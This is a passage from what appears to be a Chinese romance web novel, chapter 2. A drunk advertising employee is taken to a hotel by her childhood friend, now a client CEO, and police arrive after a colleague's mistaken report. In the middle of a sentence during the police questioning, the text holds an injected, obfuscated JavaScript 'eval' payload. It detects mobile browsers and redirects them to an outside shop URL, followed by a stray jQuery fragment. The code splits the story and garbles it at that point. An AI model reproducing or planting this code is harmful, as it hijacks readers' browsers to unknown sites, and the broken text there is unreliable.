2. 第 2 章
    这场自不量力的闹剧没持续多久,裴聿珩便称有事,带着鸿禧的人先行离开,留下威禾广告的各位见了鬼似地面面相觑。

    “不是……”樊炜舌头都不是自己的了:“我听错了?他说什么?”

    于放这时候喜不自禁,早没了之前鼻子不是鼻子眼睛不是眼睛的愁苦:“他说鸿禧的品牌策划还是放在咱们这,让温……让今遥将功折罪。”

    温今遥三两白的下肚,早就神游天外去了,这时候猛地被点名,腾地一下站起来,九十度鞠躬:“对不起于总,我明天就离职,都是我的错我再也不敢了!”

    于老板端着酒走过来,语重心长地按住她的肩膀:“今遥啊,从今天起你就是咱们威禾的肱股之臣,谁为难你,你给我发个微信就行。”

    刚刚从温今遥身边撤开一步的同事们,此时又默默地挪了回去。

    ……

    李玉狐疑地望着温今遥泛着水光的眼睛:“真没事?”

    温今遥生得白,又被外面的寒凉雾气一激,更显得肤白胜雪,酒精在她脸颊掸下的一点酡红,又恰到好处地点亮了她原本些微的苍白,这时候展颜一笑,一扫前些天的低沉,倒是有几分令人注目的光彩。

    她冲李玉摇摇手机:“总监放心,车马上到,明天我就把辞呈送到公司,您劝劝于总,让他别气了。”

    李玉:……

    得,还醉着呢。

    她回头喊:“于放,车开过来,先送今遥。”

    于放在远处狗腿地“哎”了一声,扭头就要去开车。

    远处一辆黑色宾利,后座的男人侧脸浸在窗外斑驳的树影里,隔着车窗沉默地看着门口热闹的三个人,拿起手机,发了条信息。

    于放还没走到停车场,就接到了鸿禧宣传部长的电话。

    对方一改之前的倨傲,态度亲和,点名要跟于放和李玉聊聊项目后续,希望二位拨冗前去,今晚就定下一个大致方向。

    于放很有乙方的态度,也不问为什么刚刚酒桌上不约,转头去拉李玉:“来不及了,鸿禧那边来活儿了。”

    李玉犹犹豫豫看向温今遥:“那……”

    温今遥吹了冷风,看上去清醒多了,口齿清晰地安慰她:“我真没关系,车还有六分钟就到,到家就给您发微信。”

    于放那边又催一遍,李玉没法子,叮嘱了她两句,一步三回头跟着于放走了。

    温今遥表情镇定地送走了这两位,扭头就在路边绿化带里吐得昏天黑地日月无光。

    她身后,黑色宾利缓缓滑近。

    她吐得止不住地流泪,也不知是胃酸刺激,还是难过。

    酒精赋予的亢奋正缓慢退去,狼狈面对故人的难堪,这时候才渐渐浮上来,像是终于找到出口,连同被背刺的难过,一起卷土重来。

    唇边忽然被递上一瓶开了盖的水,一起扑来的,是融在冷夜寒气中一点男士香水的气息,冷峻洁净,像雪山清晨盘绕的山岚。

    她听到一个沉稳克制的声音,带着点熟稔的责备响在她耳边:“酒量差就别逞强,不知轻重。”

    温今遥抬头,映入眼帘的是那张她在梦里都无颜面对的脸。

    她怔愣地盯了裴聿珩半晌,懵懂地抬起手,却迟迟不敢触碰。

    裴聿珩握住她冰冷的指尖,手指覆上她柔润的唇,轻轻抹去嘴角秽物,低声问:“怎么?”

    温今遥抿紧了唇,手指在他宽大温暖的掌心骤然缩紧,她颤抖着,问出了那个她实在想不明白的问题:

    “你是幻觉吗……啊,我是不是喝死了?”

    ……

    这一晚上,于放并不好过。

    半夜三点,他在酣梦中被枕边人粗暴拍醒:“温今遥怎么还不给我发微信?电话也不接,你说会不会出事了?”

    于放长叹一声,耐着性子转过身去,好声好气哄劝:“她都二十五了,放古代都是好几个孩子的妈了,能出什么事?再说,你都看着她上了车了。”

    李玉一巴掌拍上他的背:“你家用宾利开滴滴?”说到这,她猛地福至心灵似地,问:“今天那个裴总,你上次见他,他开的什么车?”

    一巴掌没给他拍醒,半睡半醒听到一个问句倒是醒了,于放含糊道:“不知道,宾利吧。”

    李玉的火气噌一声冒到了嗓子眼,一把掀开被子:“不行,我得报警。”

    这句于放是真没听见,他但凡听见一星半点,都不会让老婆真的拨出那个错得离谱的电话。

    于是凌晨三点半,鸿禧酒店高级行政套房中,半躺在沙发上小憩的裴聿珩被一阵急促的敲门声吵醒。

    他疲惫地坐起来,扯松了的领带松垮地挂在颈间,捏着眼角醒了醒神,第一反应是先去看床上酣睡着的人。

    温今遥折腾了半晚上,吐得浑身都是,好不容易清理干净睡下,这时候被敲门声惊扰,在睡梦中还轻轻皱着眉。

    裴聿珩起身,把卧室门关好,刚一开门,门外的警察就冲他亮出警官证:“是裴先生吗?我们接到报警电话,怀疑你非法拘禁,请配合调查。”

    ……

    温今遥缩在柔软的被子里,正做着一个让她能笑出声的好梦。

    梦里的前半段没什么不同,像之前的每一次的梦魇一样,还是七年前的大年夜。

    裴家的年夜饭,是一场整个家族都参加来的盛会。这种场合,温今遥原本是没资格出现的,但是那天,裴聿珩提前很久就跟她打好招呼,说那一天,请她务必出席。

    那时候温今遥已经上大一,跟裴聿珩同在北城的名校,只是裴聿珩忙着实习,两人平时也没什么机会见面。温今遥还莫名地问过他,为什么要去他家吃年夜饭,她已经跟同学约好了过年要出去玩的。

    年轻的裴聿珩远不像现在这样百计千谋,开口想解释,却先红了尚显青涩的脸,最后扔下一句“到时候我去接你”,便转身走了。

    有他这句话,温今遥只好回家过寒假,一直懒得管她的亲爹温全竟然破天荒地又给她买衣服,又从相好那里给她拿来化妆品,让她一定要好好打扮,不要给温家丢脸。

    温今遥:?咱们家还有脸呢?不都被你丢尽了吗?

    等到大年夜当天,温全终于图穷匕见,拿了一盒她只在生物课上见过的“安全措施”,对她说:“这是处理过的,今天晚上小少爷跟你表白,然后你就顺势把他带上床,只要怀个裴家的孩子,咱们下半辈子就荣华富贵了!”

    温今遥扬起一张麻木的脸,问:“你是什么意思,我怎么听不明白?”

    她当然听不明白,因为在她毫不知情的时候,裴聿珩早就悄悄安排好了一切——他决定跟温今遥表白,知道她跟父亲关系不好,于是向温全提出给他一笔钱,从此温今遥除了法律义务,不再履行女儿的其他义务,温全一口答应,但是有一个条件:裴聿珩必须当着整个裴家的面,承认温今遥的身份。

    这对尚未有自己力量和地位的裴聿珩来说,是个不小的挑战,但他还是答应了。

    当然了,肖想了这么多年,要跟今遥在一起,最后总得让她看看自己的诚意,裴聿珩想,不然怎么让她放心。

    于是就有了这个缠绕温今遥七年的噩梦。

    “你是我认定的妻子,”裴聿珩站在裴家老宅肃穆的厅里,当着整个家族的面,掷地有声地对她表白:“我知道你这些年的心意,我对你也是一样。今后的每一步,都由我走向你,好么?”

    温今遥深深陷在梦中的恐惧里,她仿佛灵魂出窍,看见自己震惊的脸上闪过一丝决然,然后是她自己都不曾见过的讥诮:“心意?什么心意?你该不会以为我真的喜欢你吧?”

    她听见自己尖利卑鄙的声音,隐瞒了她讳莫如深的愧疚:“我跟你玩是因为学校所有人都不敢惹你,别人只要知道我认识你,就不会欺负我没钱没见过世面。”温今遥看到自己鲜嫩的脸上满是自以为是的嘲讽:“这你就喜欢上我了?你怎么这么无聊啊?”

    温今遥慢慢地闭上眼睛,即使是在梦里,她也不忍心,也不敢去看裴聿珩那种不可置信又柔肠寸断的表情,感觉只要看一眼,她就会跟着他一起痛到窒息。

    于是画面一转,一股巨大的力量将她甩在墙上,大腿处传来尖锐的疼痛,血腥气在梦境中蔓延。父亲阴着一张脸:“你不配做我的女儿!”

    温今遥跪在地上,单薄的裤袜被大腿处洇出的血迹浸湿,她忍着痛,面无表情地抬起头:“我不会跟你一起做那种烂人。你不就是要钱吗,三百万,买我的自由,你稳赚不赔。”

    而她飘忽的意识在梦中哭喊——

    我特么是疯了才会说三百万啊!我的自由哪值三百万,三百块,不能再多了!

    但梦的后半段她却陡然翻身,真的拿出了三百万,一整箱红彤彤的钞票直接倒在父亲的头上,并用这辈子知道的所有脏话辱骂他,骂得扬眉吐气通体顺畅,末了还不忘狠狠地啐了一口。

    直到被人隔着被子拍醒,她还陷在那种喜逐颜开的舒爽里不能自拔。

    同行的女警进卧室叫醒温今遥,见她穿着完整,睡得五迷三道,再看裴聿珩,三更半夜穿得竟然也尚算体面,这两人怎么看都不像是报警电话里火急火燎告发的胁迫关系。

    温今遥酒差不多醒了,一睁眼就看到警察,吓得直结巴:“啊,怎、怎么了?”

    女警坐在床边握着她的手:“你不用怕,我们会保护你,外面那个人,你认识吗?跟你是什么关系?”

    温今遥反应了好一会儿,答:“他是甲方公司的……总裁。”

    同一时间,卧室外的裴聿珩面对民警,姿态挺拔,态度笃定:“是青梅竹马。”

    民警盯着他那张棱角分明的脸,仔细分辨着他每一个微表情:“有证据

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634197|143701||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    吗?聊天记录、合照、视频,或是你们共同认识的人,都可以。”

    裴聿珩眉心挑了挑,沉默下来。

    他们七年没见了,最后一次见面也谈不上友善,别说聊天记录,他连她的微信都没有。

    对面民警的表情越来越严峻,裴聿珩解锁了手机,翻出一个独立相册,点开里面唯一一张照片,放到民警面前。

    照片是翻拍的,清晰度很差,画面已经有了些微泛黄。

    如果对面是个专家,就会知道,原片一定总是被拿出来看,不断暴露在光和空气中,才会褪色到这种程度。

    照片上是一个梳着高马尾的年轻姑娘,十六七岁,一身米白色连衣裙,手里拉着一个皮卡丘氢气球,整个人鲜嫩清纯得像春天新生的嫩柳。

    她眼睛望着远处,或许是看到了什么有趣的东西,笑得鲜活清澈。

    她身后半步跟着一个少年,身量清瘦颀长,表情沉静温和,半低着头,微笑着看着身前的女孩,似乎一切纷扰都与他无关,能牵动他心绪的,只有这一个人。

    即使画面已经模糊,那种青葱时的纯粹美好,还是隔着屏幕扑面而来。

    民警一时被这张照片摄了神,半晌才想起核对长相。

    眼前的男人脸上虽挂着些许疲惫,但不难看出他贵气凌厉的气质之下,五官依然有着那个少年温润沉和的影子。

    他翻出报案人提供的照片,女孩子嘛……就……

    还是人群中一眼就能看到的好看,长相和身形也几乎没怎么变,但是怎么说呢,就是……

    一身的班味儿。

    “太久远了,”民警虽然初步确定这两人之前确实认识,但依然不能确认他们现在依旧关系良好:“近期的呢,有吗?”

    这句问完,卧室的门忽然开了。

    温今遥整理好了自己,穿着一件尚且能看的衬衣:“麻烦你们了,都是误会,我们的确认识。”

    陪在她身边的女警忍不住出声:“他是甲方总裁这不叫认识,这叫违反公序良俗的男女关系……”

    温今遥拢了拢身上的衣服,低着头声如蚊呐:“聿珩哥哥。”

    裴聿珩始终淡淡拧着的眉头猛然一松,喉头上下一滚,一声“嗯”被他强压在喉咙里,没有出声。

    “真的认识?”民警谨慎地确认:“你们到底是什么关系?”

    温今遥的视线本来几乎固着在裴聿珩身上,被人问起,才像被抓包似地猛然挪开:“从小就认识。”

    她抿了抿唇,又想起刚刚那个歇斯底里的梦,半晌过后,她才像是下了什么决心似地,露出一个无谓的笑:“我爸爸是裴家的司机,就是这样。”

    ……

    等他们送走两个夜班警员,东方的天际已经泛起一线青白。

    裴聿珩双腿交叠坐在餐桌旁,清整从容,神情温淡,好像刚刚一场尴尬的闹剧根本与他无关。

    温今遥走也不是,留也不是,吭哧半天,才憋出一句:“哈,哈哈,裴总,好久不见了。”

    “嗯。”

    “对不起啊,给您添麻烦了,那我就先……”温今遥努力端出一副敬业且专业的样子,低眉顺眼准备开溜,却发现自己的外套不见了。

    “衣服弄脏了,清洗需要时间。”裴聿珩抬手倒了一杯热水放在对面,抬眸看着她。

    跟昨晚出现在会所的那种压迫感不同,他英挺的眉间清清淡淡的,看不出什么情绪,似乎真的只是想跟老朋友叙叙旧。

    温今遥无声地深吸一口气,咬着牙根坐到他对面。

    她慌乱的眼神无处安放,只能盯着他衬衫的第二颗光泽温润的纽扣,想一些不那么着调的东西,才能缓解她死到临头的紧张。

    撑得挺满的,她想,小时候没觉得他也有当男菩萨的潜质。

    裴聿珩十指交扣,意味不明地盯了她一会儿,道:“温小姐,昨晚你提及的赔偿,不知道有什么具体的想法。”

    温今遥咽了咽唾沫:“要不您说个数,每个月从我工资里扣?”

    裴聿珩似乎没想到她会这么说,眉峰挑了挑,眼中的笑意一闪而过。

    温今遥显然把这个笑理解成了嘲讽,不忿地小声嘟囔:“那我也没房没车的,要贷款都没东西抵押,不然要怎么办……”

    裴聿珩:“我倒是觉得你昨晚的另一个提议更有趣。”

    “啥?”温今遥一时宕机,想不起她还说过什么了不起的话:“什么提议?”

    裴聿珩扬了扬唇角,用手机播放了一段清晰且毫无争议的录音。

    先是一阵衣料摩擦的噪音,而后裴聿珩轻颤着、似是柔情蜜意诱哄的声音传来:“你刚刚说什么,再说一遍。”

    然后,温今遥瞪大了眼睛。

    因为她听见自己口齿清楚、逻辑清晰地说:

    “我说,给我三百万,我跟你结婚。”